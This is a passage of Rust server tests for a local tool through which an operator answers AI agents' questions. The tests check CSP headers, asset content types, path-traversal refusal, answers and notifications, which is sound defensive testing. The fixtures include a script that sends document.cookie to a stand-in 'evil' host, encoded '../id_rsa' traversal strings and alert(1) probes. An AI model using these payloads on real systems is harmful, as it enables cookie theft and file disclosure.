8875    /// a real caller-visible flow. The one thing this cannot make up is the
8876    /// seat, so it is built with the real `SeatState::new` and serialized -
8877    /// the alternative, hand-writing that object, would make these tests fail
8878    /// the day the seat gains a field.
8879    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8880        seed_talk_at(&fx.talks(), id, status)
8881    }
8882
8883    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8884        std::fs::create_dir_all(store.root()).expect("talks dir");
8885        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8886            .expect("serialize a seat");
8887        let body = serde_json::json!({
8888            "schema": 1,
8889            "id": id,
8890            "repo": "/repo/magi",
8891            "agent": "mock",
8892            "status": status,
8893            "turns": [],
8894            "created_at": Timestamp::now().to_string(),
8895            "updated_at": Timestamp::now().to_string(),
8896            "seat": seat,
8897        });
8898        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8899        store.get(id).expect("the seeded talk has to be readable");
8900        id.to_owned()
8901    }
8902
8903    #[tokio::test]
8904    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8905        let fx = Fixture::start().await;
8906        let id = panel(
8907            &fx,
8908            "<h1>Merge?</h1><img src=\"diff.svg\">",
8909            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8910        );
8911
8912        for path in [
8913            format!("/api/questions/{id}/panel"),
8914            format!("/api/questions/{id}/asset/diff.svg"),
8915        ] {
8916            let res = fx.get(&path).await;
8917            assert_eq!(res.status, 200, "{path}: {}", res.body);
8918            // The whole string, not a substring. A weakened directive - an
8919            // `img-src *` that lets a panel beacon out to a remote host, a
8920            // `script-src` anything, a missing `form-action` that lets it post
8921            // the owner's decision to a third party - has to fail here, and a
8922            // `contains` assertion would let every one of those through.
8923            assert_eq!(
8924                res.header("content-security-policy"),
8925                Some(
8926                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8927                     font-src data:; base-uri 'none'; form-action 'none'; \
8928                     frame-ancestors 'self'"
8929                ),
8930                "{path} is the only thing between a hostile panel and the tailnet"
8931            );
8932            assert_eq!(
8933                res.header("x-content-type-options"),
8934                Some("nosniff"),
8935                "{path}: a browser must not re-decide the type we sent"
8936            );
8937            assert_eq!(
8938                res.header("referrer-policy"),
8939                Some("no-referrer"),
8940                "{path}: a panel must not leak the question id off the machine"
8941            );
8942
8943            // The front end mounts the frame only after a `HEAD` says the
8944            // panel is there, so `HEAD` has to answer with the same status and
8945            // the same policy as `GET` - a preflight that came back without
8946            // the CSP would mean a frame mounted on an unverified promise.
8947            let pre = fx.head(&path).await;
8948            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8949            assert_eq!(
8950                pre.header("content-security-policy"),
8951                res.header("content-security-policy"),
8952                "{path}: the preflight carries the same policy"
8953            );
8954            assert_eq!(
8955                pre.header("content-type"),
8956                res.header("content-type"),
8957                "{path}: the preflight carries the same type"
8958            );
8959        }
8960    }
8961
8962    #[tokio::test]
8963    async fn a_panel_reaches_the_browser_byte_for_byte() {
8964        let fx = Fixture::start().await;
8965        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
8966        // tag, an entity, and a multi-byte character. The sandbox is what makes
8967        // this safe, so nothing here may be rewritten on the way out - a
8968        // rewritten diff is a diff the owner cannot trust.
8969        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
8970        let id = panel(&fx, html, &[]);
8971
8972        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8973
8974        assert_eq!(res.status, 200);
8975        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8976        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8977        assert_eq!(
8978            res.header("content-disposition"),
8979            None,
8980            "the panel itself is rendered in the frame, not downloaded"
8981        );
8982    }
8983
8984    #[tokio::test]
8985    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8986        let fx = Fixture::start().await;
8987        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8988        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8989        let id = panel(
8990            &fx,
8991            "<img src=\"diff.svg\"><img src=\"shot.png\">",
8992            &[("diff.svg", svg), ("shot.png", png)],
8993        );
8994
8995        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8996        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8997
8998        assert_eq!(as_svg.status, 200);
8999        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9000        // An SVG is XML that may carry script. Inside the panel it is an
9001        // `<img src>` and the script cannot run; opened at the top level it
9002        // would be a document on magi's own origin, so the browser is told to
9003        // download it instead of rendering it.
9004        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9005
9006        assert_eq!(as_png.status, 200);
9007        assert_eq!(as_png.header("content-type"), Some("image/png"));
9008        assert_eq!(
9009            as_png.header("content-disposition"),
9010            None,
9011            "a raster image has no execution surface, so tapping it still shows it"
9012        );
9013        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9014    }
9015
9016    #[tokio::test]
9017    async fn an_html_asset_is_never_served_as_html() {
9018        let fx = Fixture::start().await;
9019        let id = panel(
9020            &fx,
9021            "<p>see the notes</p>",
9022            &[
9023                (
9024                    "notes.html",
9025                    b"<script>fetch('http://evil/'+document.cookie)</script>",
9026                ),
9027                ("hook.js", b"fetch('http://evil/')"),
9028                ("data.json", b"{}"),
9029                ("HEADLINE.TXT", b"plain"),
9030            ],
9031        );
9032
9033        for name in ["notes.html", "hook.js", "data.json"] {
9034            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9035            assert_eq!(res.status, 200, "{name}: {}", res.body);
9036            // Serving this as text/html would be a way to reach agent markup
9037            // at the top level of the operator's browser, outside the frame's
9038            // sandbox and outside its CSP - which is the whole thing the panel
9039            // design exists to prevent. Unlisted types are downloads.
9040            assert_eq!(
9041                res.header("content-type"),
9042                Some("application/octet-stream"),
9043                "{name} must not be a type the browser will execute or render"
9044            );
9045        }
9046        // The whitelist is matched case-insensitively, so an agent shouting the
9047        // extension still gets a readable file rather than a download.
9048        let txt = fx
9049            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9050            .await;
9051        assert_eq!(
9052            txt.header("content-type"),
9053            Some("text/plain; charset=utf-8")
9054        );
9055    }
9056
9057    #[tokio::test]
9058    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9059        let fx = Fixture::start().await;
9060        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9061        // Something outside the panel directory that a traversal would reach if
9062        // one got through, so a passing test is not merely "the file was
9063        // missing anyway".
9064        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9065
9066        // Decoded before this server's handler sees them: axum percent-decodes
9067        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
9068        // string with a NUL in it. All three look like ordinary single-segment
9069        // filenames to the router, so the router passes them through and
9070        // `valid_asset_name` is what refuses them - for the literal `..`, and
9071        // for `/`, `\` and NUL not being in the permitted character set.
9072        for encoded in [
9073            "%2e%2e%2fid_rsa",
9074            "..%2fid_rsa",
9075            "..%5cid_rsa",
9076            "%2e%2e%5cid_rsa",
9077            "diff%00.svg",
9078            "..",
9079            ".hidden",
9080            "%2e%2e%2f%2e%2e%2fid_rsa",
9081        ] {
9082            let res = fx
9083                .get(&format!("/api/questions/{id}/asset/{encoded}"))
9084                .await;
9085            assert_eq!(
9086                res.status, 400,
9087                "`{encoded}` has to be refused by name, not looked up: {}",
9088                res.body
9089            );
9090            assert!(res.json()["error"].is_string(), "{}", res.body);
9091        }
9092
9093        // Not decoded, and never this handler's problem: a real slash makes the
9094        // request one segment too long for `/api/questions/{id}/asset/{name}`,
9095        // so axum's router has no route to match and answers before any code
9096        // here runs. Asserted so that a future route with a wildcard segment
9097        // cannot quietly open this door.
9098        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9099            let res = fx
9100                .get(&format!("/api/questions/{id}/asset/{literal}"))
9101                .await;
9102            assert_eq!(
9103                res.status, 404,
9104                "`{literal}` must not match the asset route at all: {}",
9105                res.body
9106            );
9107        }
9108    }
9109
9110    #[tokio::test]
9111    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9112        let fx = Fixture::start().await;
9113        let plain = ask(&fx, "Which backend?", &["SQLite"]);
9114        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9115
9116        // A question nobody wrote a panel for. The client preflights with HEAD
9117        // and cannot see inside a sandboxed frame, so this must be a status and
9118        // not an empty page.
9119        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9120        assert_eq!(none.status, 404, "{}", none.body);
9121        assert!(none.json()["error"].is_string(), "{}", none.body);
9122        assert_eq!(
9123            fx.head(&format!("/api/questions/{plain}/panel"))
9124                .await
9125                .status,
9126            404,
9127            "the preflight is the only way the client can learn this"
9128        );
9129
9130        // A name that is perfectly legal and simply is not there.
9131        let missing = fx
9132            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9133            .await;
9134        assert_eq!(missing.status, 404, "{}", missing.body);
9135        assert!(missing.json()["error"].is_string(), "{}", missing.body);
9136
9137        // A question that does not exist at all, on both routes.
9138        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9139        assert_eq!(
9140            fx.get("/api/questions/nope/asset/diff.svg").await.status,
9141            404
9142        );
9143    }
9144
9145    #[tokio::test]
9146    async fn a_run_with_an_open_question_reads_as_waiting() {
9147        let fx = Fixture::start().await;
9148        let run = "20260902-000000-beef".to_owned();
9149        write_run(&fx.runs(), &run, RunStatus::Implementing);
9150
9151        let before = fx.get("/api/runs").await.json();
9152        assert_eq!(before[0]["waiting"], false, "{before}");
9153
9154        let store = fx.questions();
9155        let mut q = Question::new(
9156            run.clone(),
9157            "implement".to_owned(),
9158            "impl-A".to_owned(),
9159            "Which backend?".to_owned(),
9160            String::new(),
9161            vec!["SQLite".to_owned()],
9162        );
9163        store.put(&mut q).expect("put");
9164
9165        let during = fx.get("/api/runs").await.json();
9166        assert_eq!(during[0]["waiting"], true, "{during}");
9167
9168        // Answered: the run is moving again, and the flag has to follow without
9169        // anything having rewritten run.json.
9170        q.answer(Answer::Choice("SQLite".to_owned()))
9171            .expect("answer");
9172        store.put(&mut q).expect("put");
9173        let after = fx.get("/api/runs").await.json();
9174        assert_eq!(after[0]["waiting"], false, "{after}");
9175    }
9176
9177    #[tokio::test]
9178    async fn an_open_question_is_listed_and_counted_by_health() {
9179        let fx = Fixture::start().await;
9180        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9181
9182        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9183        let listed = fx.get("/api/questions").await.json();
9184        assert_eq!(listed.as_array().expect("array").len(), 1);
9185        assert_eq!(listed[0]["id"], id);
9186        assert_eq!(listed[0]["status"], "open");
9187        assert_eq!(listed[0]["choices"][1], "Redis");
9188        // The count is what makes the phone's indicator honest: it is the one
9189        // number meaning nothing will move until a human acts.
9190        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9191    }
9192
9193    #[tokio::test]
9194    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
9195        let fx = Fixture::start().await;
9196        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9197        let path = format!("/api/questions/{id}/answer");
9198
9199        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
9200        assert_eq!(res.status, 200, "{}", res.body);
9201        let body = res.json();
9202        assert_eq!(body["status"], "answered");
9203        assert_eq!(body["answer"]["choice"], "Redis");
9204
9205        // Answered from the terminal in between the list and the tap: the UI
9206        // must be able to tell this from a bad request, so it can show the
9207        // recorded answer instead of an error.
9208        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
9209        assert_eq!(again.status, 409, "{}", again.body);
9210        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9211    }
9212
9213    #[tokio::test]
9214    async fn saying_something_appends_a_turn_without_answering() {
9215        let fx = Fixture::start().await;
9216        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9217        let path = format!("/api/questions/{id}/say");
9218
9219        let res = fx
9220            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
9221            .await;
9222        assert_eq!(res.status, 200, "{}", res.body);
9223        let body = res.json();
9224        assert_eq!(body["status"], "open", "talking back is not a decision");
9225        assert_eq!(body["answer"], Value::Null);
9226        assert_eq!(body["thread"][0]["who"], "operator");
9227        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
9228        assert_eq!(body["waiting_on_agent"], true);
9229        // Still open, still counted, still exactly one question.
9230        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9231    }
9232
9233    #[tokio::test]
9234    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
9235        let fx = Fixture::start().await;
9236        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9237
9238        let list = fx.get("/api/questions").await.json();
9239        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
9240
9241        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
9242        assert_eq!(res.status, 409, "{}", res.body);
9243        let q = fx.questions().get(&id).unwrap();
9244        assert!(q.status.open());
9245        assert!(q.consult.is_none());
9246    }
9247
9248    #[tokio::test]
9249    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
9250        let fx = Fixture::start().await;
9251        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9252        let cfg = Config {
9253            agents: vec![crate::config::AgentSpec {
9254                id: "mock".to_owned(),
9255                kind: crate::config::AgentKind::Command,
9256                model: None,
9257                command: vec!["true".to_owned()],
9258                extra_args: Vec::new(),
9259                env: Default::default(),
9260                prompt_delivery: None,
9261            }],
9262            ..Config::default()
9263        };
9264        let talk = crate::talk::begin(
9265            &fx.talks(),
9266            &cfg,
9267            fx.home.path().to_path_buf(),
9268            Some("mock"),
9269        )
9270        .unwrap();
9271        let mut task = Task::new(
9272            "t".to_owned(),
9273            "Do it".to_owned(),
9274            PathBuf::from("/repo/magi"),
9275            Source::Agent {
9276                run: talk.id.clone(),
9277                node: crate::queue::CHAT_NODE.to_owned(),
9278            },
9279        );
9280        task.start("20260902-000000-beef".to_owned());
9281        fx.queue().put(&mut task).unwrap();
9282
9283        let list = fx.get("/api/questions").await.json();
9284        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9285        assert_eq!(
9286            list[0]["choices"],
9287            serde_json::json!(["SQLite", "Redis"]),
9288            "the hand-over is never a choice"
9289        );
9290        fx.questions()
9291            .update(&id, |q| {
9292                q.node = crate::land::APPROVAL_NODE.into();
9293                q.choices = vec!["merge".into(), "hold".into()];
9294                Ok(())
9295            })
9296            .unwrap();
9297        let list = fx.get("/api/questions").await.json();
9298        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9299        let _ = id;
9300    }
9301
9302    #[tokio::test]
9303    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
9304        let fx = Fixture::start().await;
9305        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9306        fx.questions()
9307            .update(&id, |q| {
9308                q.node = crate::land::APPROVAL_NODE.into();
9309                q.choices = vec!["merge".into(), "hold".into()];
9310                Ok(())
9311            })
9312            .unwrap();
9313        let cfg = Config {
9314            agents: vec![crate::config::AgentSpec {
9315                id: "mock".to_owned(),
9316                kind: crate::config::AgentKind::Command,
9317                model: None,
9318                command: vec!["true".to_owned()],
9319                extra_args: Vec::new(),
9320                env: Default::default(),
9321                prompt_delivery: None,
9322            }],
9323            ..Config::default()
9324        };
9325        // Not a git working tree, so its `magi.toml` is read from disk.
9326        let repo = fx.home.path().join("chat-repo");
9327        std::fs::create_dir_all(&repo).unwrap();
9328        let toml = repo.join("magi.toml");
9329        std::fs::write(&toml, "this is = = not toml").unwrap();
9330        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
9331        let mut task = Task::new(
9332            "t".to_owned(),
9333            "Do it".to_owned(),
9334            PathBuf::from("/repo/magi"),
9335            Source::Agent {
9336                run: talk.id.clone(),
9337                node: crate::queue::CHAT_NODE.to_owned(),
9338            },
9339        );
9340        task.start("20260902-000000-beef".to_owned());
9341        fx.queue().put(&mut task).unwrap();
9342
9343        let path = format!("/api/questions/{id}/consult");
9344        let res = fx.post(&path, None).await;
9345        assert!(res.status >= 400, "{}", res.body);
9346        assert!(fx.questions().get(&id).unwrap().consult.is_none());
9347        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
9348
9349        std::fs::write(&toml, "").unwrap();
9350        let res = fx.post(&path, None).await;
9351        assert_eq!(res.status, 202, "{}", res.body);
9352        assert!(fx.questions().get(&id).unwrap().consult.is_some());
9353        let q = fx.questions().get(&id).unwrap();
9354        assert!(q.status.open());
9355        assert!(q.answer.is_none());
9356        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
9357    }
9358
9359    #[tokio::test]
9360    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
9361        let fx = Fixture::start().await;
9362        let store = fx.questions();
9363        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9364        assert_eq!(
9365            fx.get("/api/health").await.json()["questions_needs_owner"],
9366            1
9367        );
9368
9369        // The owner asks back instead of deciding: the ask bar, the nav badge
9370        // and the title must stop naming this question, because there is
9371        // nothing to decide until the agent answers - `status` alone cannot
9372        // say that, which is the whole reason `questions_needs_owner` exists
9373        // alongside `questions_open`.
9374        let res = fx
9375            .post(
9376                &format!("/api/questions/{id}/say"),
9377                Some(r#"{"body":"why not Postgres?"}"#),
9378            )
9379            .await;
9380        assert_eq!(res.status, 200, "{}", res.body);
9381        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9382        assert_eq!(
9383            fx.get("/api/health").await.json()["questions_needs_owner"],
9384            0,
9385            "waiting on the agent is not waiting on the owner"
9386        );
9387
9388        // `magi ask --thread` replying is what brings the owner count back -
9389        // the same event that would resume the CLI call blocked in `magi
9390        // ask`.
9391        let mut q = store.get(&id).expect("get");
9392        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
9393            .expect("reply");
9394        store.put(&mut q).expect("put");
9395        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9396        assert_eq!(
9397            fx.get("/api/health").await.json()["questions_needs_owner"],
9398            1,
9399            "the agent's reply is what should light the banner back up"
9400        );
9401    }
9402
9403    #[tokio::test]
9404    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
9405        let fx = Fixture::start().await;
9406        let store = fx.questions();
9407
9408        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9409        let res = fx
9410            .post(
9411                &format!("/api/questions/{empty_id}/say"),
9412                Some(r#"{"body":"   "}"#),
9413            )
9414            .await;
9415        assert_eq!(res.status, 400, "{}", res.body);
9416
9417        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9418        let mut answered = store.get(&answered_id).expect("get");
9419        answered
9420            .answer(Answer::Choice("SQLite".to_owned()))
9421            .expect("answer");
9422        store.put(&mut answered).expect("put");
9423        let res = fx
9424            .post(
9425                &format!("/api/questions/{answered_id}/say"),
9426                Some(r#"{"body":"still there?"}"#),
9427            )
9428            .await;
9429        assert_eq!(res.status, 409, "{}", res.body);
9430
9431        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9432        let mut abandoned = store.get(&abandoned_id).expect("get");
9433        abandoned.abandon("timed out");
9434        store.put(&mut abandoned).expect("put");
9435        let res = fx
9436            .post(
9437                &format!("/api/questions/{abandoned_id}/say"),
9438                Some(r#"{"body":"still there?"}"#),
9439            )
9440            .await;
9441        assert_eq!(res.status, 409, "{}", res.body);
9442    }
9443
9444    #[tokio::test]
9445    async fn an_answer_the_question_does_not_offer_is_refused() {
9446        let fx = Fixture::start().await;
9447        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9448        let path = format!("/api/questions/{id}/answer");
9449
9450        for body in [
9451            r#"{"choice":"Postgres"}"#,
9452            r#"{"text":"whatever you think"}"#,
9453            r#"{"choice":"Redis","text":"both"}"#,
9454            r#"{}"#,
9455        ] {
9456            let res = fx.post(&path, Some(body)).await;
9457            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
9458            assert!(res.json()["error"].is_string(), "{}", res.body);
9459        }
9460        // Nothing above may have answered it.
9461        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9462    }
9463
9464    #[tokio::test]
9465    async fn a_free_text_question_takes_text_and_not_a_choice() {
9466        let fx = Fixture::start().await;
9467        let id = ask(&fx, "What should the flag be called?", &[]);
9468        let path = format!("/api/questions/{id}/answer");
9469
9470        assert_eq!(
9471            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
9472            400
9473        );
9474        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
9475        assert_eq!(res.status, 200, "{}", res.body);
9476        assert_eq!(res.json()["answer"]["text"], "--json");
9477    }
9478
9479    #[tokio::test]
9480    async fn an_unknown_question_is_a_json_404() {
9481        let fx = Fixture::start().await;
9482        let res = fx
9483            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
9484            .await;
9485        assert_eq!(res.status, 404, "{}", res.body);
9486        assert!(res.json()["error"].is_string());
9487    }
9488
9489    #[tokio::test]
9490    async fn notifications_list_read_dismiss_and_health_agree() {
9491        let fx = Fixture::start().await;
9492        let store = Notices::at(fx.home.path().join("notifications"));
9493        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
9494        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
9495
9496        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
9497        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
9498
9499        let health = fx.get("/api/health").await.json();
9500        assert_eq!(health["notifications_unread"], 2);
9501        assert_ne!(
9502            health["notifications_rev"], rev0,
9503            "the badge must move live"
9504        );
9505
9506        let listed = fx.get("/api/notifications").await.json();
9507        assert_eq!(listed["unread"], 2);
9508        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
9509        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
9510
9511        let read = fx
9512            .post(&format!("/api/notifications/{}/read", a.id), None)
9513            .await;
9514        assert_eq!(read.status, 200, "{}", read.body);
9515        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9516
9517        let gone = fx
9518            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9519            .await;
9520        assert_eq!(gone.status, 200, "{}", gone.body);
9521        let listed = fx.get("/api/notifications").await.json();
9522        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9523        assert_eq!(listed["unread"], 0);
9524
9525        store.raise(Notice::info("x", "again")).unwrap();
9526        let all = fx.post("/api/notifications/read-all", None).await;
9527        assert_eq!(all.status, 200, "{}", all.body);
9528        assert_eq!(all.json()["marked"], 1);
9529        assert_eq!(
9530            fx.get("/api/health").await.json()["notifications_unread"],
9531            0
9532        );
9533
9534        let missing = fx.post("/api/notifications/nope/read", None).await;
9535        assert_eq!(missing.status, 404, "{}", missing.body);
9536        assert!(missing.json()["error"].is_string());
9537    }
9538
9539    /// New work reaches the queue through `magi task add`, a standing talk's
9540    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
9541    /// so the compose form and that route are gone. The tests that covered
9542    /// that route's validation went with it, and nothing was left asserting
9543    /// it stays gone — so a re-added handler would silently let the phone
9544    /// file briefs no one validated.
9545    #[tokio::test]
9546    async fn a_task_cannot_be_filed_over_the_phone_directly() {
9547        let f = Fixture::start().await;
9548
9549        let res = f
9550            .post(
9551                "/api/queue",
9552                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
9553            )
9554            .await;
9555
9556        assert_eq!(
9557            res.status, 405,
9558            "POST /api/queue must not be a route: {}",
9559            res.body
9560        );
9561        assert!(
9562            f.queue().list().is_empty(),
9563            "a task filed by a route that does not exist must not reach the disk"
9564        );
9565        // The path itself is still served — the Queue view reads it — and the
9566        // per-task controls are untouched by the entry being removed.
9567        assert_eq!(f.get("/api/queue").await.status, 200);
9568    }
9569
9570    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
9571    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
9572        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
9573            .expect("checkout dir");
9574    }
9575
9576    /// Two command agents, so a config needs no real CLI.
9577    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
9578
9579    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
9580        let tmp = TempDir::new().expect("tempdir");
9581        let repo = tmp.path().join("repo");
9582        std::fs::create_dir_all(&repo).expect("repo dir");
9583        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
9584        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
9585        if let Some(text) = machine_toml {
9586            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
9587            std::fs::write(&machine, text).expect("machine toml");
9588        }
9589        (tmp, repo, machine)
9590    }
9591
9592    async fn settings_checkout(path: &FsPath, text: &str) {
9593        std::fs::create_dir_all(path).unwrap();
9594        std::fs::write(path.join("magi.toml"), text).unwrap();
9595        for args in [
9596            vec!["init", "-b", "main"],
9597            vec!["add", "magi.toml"],
9598            vec![
9599                "-c",
9600                "user.name=Test",
9601                "-c",
9602                "user.email=test@example.invalid",
9603                "commit",
9604                "-m",
9605                "fixture",
9606            ],
9607            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
9608            vec![
9609                "symbolic-ref",
9610                "refs/remotes/origin/HEAD",
9611                "refs/remotes/origin/main",
9612            ],
9613        ] {
9614            crate::git::git(path, &args).await.unwrap();
9615        }
9616    }
9617
9618    #[tokio::test]
9619    async fn settings_context_handlers_validate_and_save_without_a_socket() {
9620        let (tmp, repo, machine) =
9621            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
9622        let root = tmp.path().join("roots");
9623        let selected = root.join("host/owner/selected");
9624        settings_checkout(
9625            &selected,
9626            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
9627        )
9628        .await;
9629        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
9630        let before = std::fs::read(&machine).unwrap();
9631        let ui = Arc::new(
9632            Ui::new(
9633                Queue::at(tmp.path().join("queue")),
9634                Questions::at(tmp.path().join("questions")),
9635                Talks::at(tmp.path().join("talks")),
9636                tmp.path().join("runs"),
9637                tmp.path().to_path_buf(),
9638                repo.clone(),
9639            )
9640            .with_machine_config(Some(machine.clone())),
9641        );
9642        let query = || {
9643            Query(SettingsQuery {
9644                repo: Some(selected.clone()),
9645            })
9646        };
9647        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
9648        assert!(v.error.is_none(), "{:?}", v.error);
9649        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
9650        assert_eq!(conductor.source, "repo");
9651        assert_eq!(
9652            conductor.machine_value,
9653            Some(toml::Value::String("a".into()))
9654        );
9655        assert!(!conductor.editable);
9656        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
9657        assert_eq!(
9658            judges.count.as_ref().unwrap().machine_value,
9659            Some(toml::Value::Integer(1))
9660        );
9661        assert!(
9662            !v.roles
9663                .iter()
9664                .find(|r| r.key == "reviewers")
9665                .unwrap()
9666                .editable
9667        );
9668        let unknown = || {
9669            Query(SettingsQuery {
9670                repo: Some(tmp.path().to_path_buf()),
9671            })
9672        };
9673        assert_eq!(
9674            settings_get(State(ui.clone()), unknown())
9675                .await
9676                .unwrap_err()
9677                .status,
9678            StatusCode::UNPROCESSABLE_ENTITY
9679        );
9680        let body = || {
9681            Ok(Json(RolesBody {
9682                revision: v.revision.clone(),
9683                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
9684                counts: Default::default(),
9685            }))
9686        };
9687        assert_eq!(
9688            settings_put_roles(State(ui.clone()), unknown(), body())
9689                .await
9690                .unwrap_err()
9691                .status,
9692            StatusCode::UNPROCESSABLE_ENTITY
9693        );
9694        assert_eq!(std::fs::read(&machine).unwrap(), before);
9695        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
9696            .await
9697            .unwrap();
9698        assert_eq!(
9699            saved.repo,
9700            selected.canonicalize().unwrap().display().to_string()
9701        );
9702        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9703        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9704        // A cache miss refreshes the stable candidate list exactly for validation.
9705        let fresh = root.join("host/owner/fresh");
9706        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
9707        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
9708            .await
9709            .unwrap();
9710        assert_eq!(fresh_view.repositories.len(), 3);
9711    }
9712
9713    #[tokio::test]
9714    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
9715        let (tmp, repo, machine) = settings_dirs(
9716            "[roles]\nreviewers = [\"a\"]\n",
9717            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
9718        );
